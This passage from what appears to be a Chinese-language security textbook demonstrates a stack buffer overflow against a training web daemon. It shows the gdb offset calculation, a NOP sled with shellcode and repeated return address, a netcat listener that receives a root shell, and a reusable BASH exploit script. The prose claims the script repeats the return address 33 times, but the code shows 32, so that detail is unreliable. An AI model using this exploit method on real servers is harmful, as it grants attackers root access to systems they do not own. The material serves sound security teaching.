有了實際的目標,讓我們跳回攻擊者這一側。對這種攻擊而言,漏洞利用腳本是必備的看家工具——像鎖匠手中的一套開鎖工具,能為駭客打開許多扇門。

漏洞利用「程式」vs.「工具」#

漏洞利用程式比較像槍:單一用途、介面簡單如扣扳機,是成品,能被不熟練的人拿來造成危險後果。漏洞利用工具則通常不是成品、也不打算給別人用——駭客靠程式設計知識寫自己的腳本與工具,自動化繁瑣任務、便於實驗,能因應多種目的、擴展使用者的技能。

除錯 daemon:追到子程序#

daemon() 會 fork,程式其餘部分在子程序執行、父程序退出。在 daemon() 之後設中斷點,除錯器卻永遠打不到——因為它預設跟隨父程序。

set follow-fork-mode child 讓除錯器跟進子程序。不過既然我們需要特定的堆疊值,附加到執行中的程序更乾淨簡單sudo gdb -q --pid=<PID> --symbols=./a.out

附加後於 handle_connection() 設中斷點,用瀏覽器發請求推進到中斷點:

(gdb) x/x request
0xbffff5c0:     0x080484ec
(gdb) x/x 0xbffff7d4 + 8
0xbffff7dc:     0x08048fb7      # 已存返回位址
(gdb) p 0xbffff7dc - 0xbffff5c0
$2 = 540
  • request 緩衝區起於 0xbffff5c0、返回位址在 0xbffff7dc,offset 540 位元組
  • shellcode 最安全的落點在 500 位元組緩衝區的中段(0xbffff624,起點 +100)。

組裝漏洞利用緩衝區#

把 shellcode 夾在 NOP sled 與重複 32 次的返回位址之間:

128 位元組的重複返回位址讓 shellcode 遠離可能被覆寫的不安全堆疊記憶體;緩衝區開頭附近的位元組會在 null 終止時被弄亂,所以前面放 100 位元組 NOP sled 當安全著陸區。

reader@hacking:~/booksrc $ echo $((540+4 - (32*4) - 83))
333
reader@hacking:~/booksrc $ nc -l -p 31337 &          # 背景監聽反連
reader@hacking:~/booksrc $ (perl -e 'print "\x90"x333'; cat loopback_shell; \
  perl -e 'print "\x24\xf6\xff\xbf"x32 . "\r\n"') | nc -w 1 -v 127.0.0.1 80
reader@hacking:~/booksrc $ fg
whoami
root

netcat 後綴 & 送到背景監聽反連,之後用 fg 恢復;-w 1 讓管線一秒後逾時。

封裝成腳本#

換不同大小的 shellcode 就得重算 NOP sled 大小——把這些重複步驟寫進 BASH 腳本。用 shell 變數存 offset 與返回位址,shellcode 當命令列引數傳入:

OFFSET=540
RETADDR="\x24\xf6\xff\xbf"
SIZE=`wc -c $1 | cut -f1 -d ' '`
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE))
( perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; \
  perl -e "print \"$RETADDR\"x32 . \"\r\n\"" ) | nc -w 1 -v $2 80

腳本把返回位址多重複第 33 次、卻用 128 位元組(32×4)算 sled 大小——這在 offset 之外多放一份返回位址。不同編譯器選項有時會讓返回位址稍微移位,這麼做讓漏洞利用更可靠

現在攻擊方有了武器。若你是跑 tinyweb daemon 的伺服器管理員,被駭的第一個跡象會是什麼?